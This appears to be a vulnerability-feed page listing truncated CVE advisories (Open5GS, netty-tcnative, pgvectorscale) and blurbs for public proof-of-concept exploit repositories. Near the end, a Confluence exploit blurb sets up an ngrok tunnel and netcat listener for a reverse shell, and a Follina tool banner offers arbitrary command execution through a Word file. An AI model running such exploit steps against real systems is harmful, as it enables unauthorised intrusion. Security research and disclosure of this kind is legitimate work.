CVE-2023-32560

CVE-2023-32560 Ivanti Avalanche v6.4.0.0 RCE POC Reference: https://www.tenable.com/security/research/tra-2023-27...

CVE-2026-116544

Open5GS versions 2.6.1 through 2.8.0 are vulnerable to an out-of-bounds read in the parse_scheme_output() function located in lib/sbi/conv.c. The vulnerability is caused by incomplete length validation during SUCI de-concealment. Remote unauthenticated UEs or SBI peers can exploit this by submitt...

CVE-2026-116544 Open5GS 2.6.1 through 2.8.0 Out-of-Bounds Read via parse_scheme_output

Open5GS 2.6.1 through 2.8.0 contains an out-of-bounds read vulnerability in parseschemeoutput in lib/sbi/conv.c during SUCI de-concealment due to incomplete length validation. Remote unauthenticated UEs or SBI peers can submit a crafted SUCI with a 42-byte scheme output to a UDM, triggering a hea...

EUVD-2026-109913

Open5GS 1.3.0 through 2.8.0 contains a heap out-of-bounds write vulnerability in parsemultipart that allows unauthenticated attackers to corrupt memory by supplying an empty multipart boundary. Attackers can send a single crafted multipart/related request to the SBI interface of any network...

CVE-2026-116543

The Open5GS software (versions 1.3.0 through 2.8.0 ) is vulnerable to a heap out-of-bounds write in the parse_multipart() function. An unauthenticated attacker can cause memory corruption or a crash by sending a single crafted multipart/related request to the SBI interface of any network function...

EUVD-2026-109914

Open5GS 2.6.1 through 2.8.0 contains an out-of-bounds read vulnerability in parseschemeoutput in lib/sbi/conv.c during SUCI de-concealment due to incomplete length validation. Remote unauthenticated UEs or SBI peers can submit a crafted SUCI with a 42-byte scheme output to a UDM, triggering a hea...

EUVD-2026-109911

Netty netty-tcnative before 2.0.84.Final contains a denial of service vulnerability in the tcnwritetobytebuffer BIO write callback that overreports bytes consumed. Remote TLS 1.3 peers can provoke queued post-handshake records like NewSessionTicket or KeyUpdate to truncate flights, fail...

CVE-2026-116541 netty-tcnative before 2.0.84.Final Denial of Service via BIO Write Overcount

Netty netty-tcnative before 2.0.84.Final contains a denial of service vulnerability in the tcnwritetobytebuffer BIO write callback that overreports bytes consumed. Remote TLS 1.3 peers can provoke queued post-handshake records like NewSessionTicket or KeyUpdate to truncate flights, fail...

CVE-2026-116541

The netty-tcnative library before version 2.0.84.Final is vulnerable to a Denial of Service (DoS) flaw within the tcn_write_to_bytebuffer BIO write callback. The root cause is an incorrect calculation where the callback overreports the number of bytes consumed. This allow remote TLS 1.3 peers to ...

CVE-2026-116489

Timescale pgvectorscale versions prior to 0.9.1 are vulnerable to a type confusion vulnerability caused by unqualified DiskANN operator classes. This flaw allows low-privileged database users with CREATE privileges on the vectorscale schema to shadow pgvector types or operators. By pre-creating s...

EUVD-2026-109907

Timescale pgvectorscale before 0.9.1 contains a type confusion vulnerability that allows low-privileged database users to corrupt memory by shadowing pgvector's vector type or operators. Attackers with CREATE privilege on the vectorscale schema can pre-create shadow objects, then build and query...

cve-2016-4845_csrf

cve-2016-4845csrf Proof of concept for CSRF vulnerabilityCVE-2016-4825 on IO-DATA Recording Hard Disc Drive. License These codes are released under the MIT License. Please see LICENSE.txt...

CVE-2026-30945-PoC

🗑️ CVE-2026-30945 StudioCMS IDOR — Arbitrary API Token Revocation Leading to Denial of Service NVD • Advisory • CWE-639 Overview The DELETE /studiocmsapi/dashboard/api-tokens endpoint in StudioCMS ≤ 0.3.0 allows any authenticated user with editor privileges or above to revoke API tokens belonging...

cve-2024-46483

CVE-2024-46483 - Pre-Authentication Heap Overflow in Xlight SFTP server Affected versions Xlight 32 and 64-bit versions = 3.9.4.2 Impact An unauthenticated attacker with access to Xlight SFTP could gain code execution or cause a denial or service. Root Cause Strings sent across the wire in the SF...

CVE-2021-34045

CVE-2021-34045 druid unauthorized access batch scanning poc Tool Usage python3 CVE-2021-34045.py -u http://127.0.0.1:1111 单个url测试 python3 CVE-2021-34045.py -f url.txt 批量检测 Disclaimer Any direct or indirect consequences and losses caused by the dissemination or use of the information provided in...

microsoft-diagcab-rce-poc

microsoft-diagcab-rce-poc Proof of concept about a path traversal vulnerability in Microsoft's Diagcab technology that could lead to remote code execution You can find the full advisory here: https://medium.com/@radimre83/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd...

qu1ckr00t

qu1ckr00t A PoC application demonstrating the power of an Android kernel arbitrary R/W CVE-2019-2215. Writeup: https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/ Qu1ckR00t is a PROOF OF CONCEPT. It should NOT be used on your personal device with valuable userdata. It has...

CVE-2019-9511_Priority-Churn-Data-Dribble

HTTP/2 CVE-2019-9511 & CVE-2019-9513 Lightweight Probes Repository with controlled validation scripts for behaviors associated with CVEs CVE-2019-9511 and CVE-2019-9513 , both related to denial of service vectors in HTTP/2 implementations. The scripts were created to support technical validations...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 realworld poc Usage Download bun https://github.com/oven-sh/bun/releases Start ngrok ngrok tcp 4444 Listen localhost 4444 nc -nvlp 4444 Run exploit bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport 12169 --target https://xxx/ Resul...

gollina

$ gollina -h gollina Follina MS-MSDT 0-day MS Office RCE PoC in Go -- @dwisiswant0 Usage: gollina -c COMMAND OPTIONS... Options: -h, --host Listener host default: 0.0.0.0 -p, --port Listener port default: 8090 -n, --name Word file name w/o extension, default: gollina -c, --command Arbitrary comma...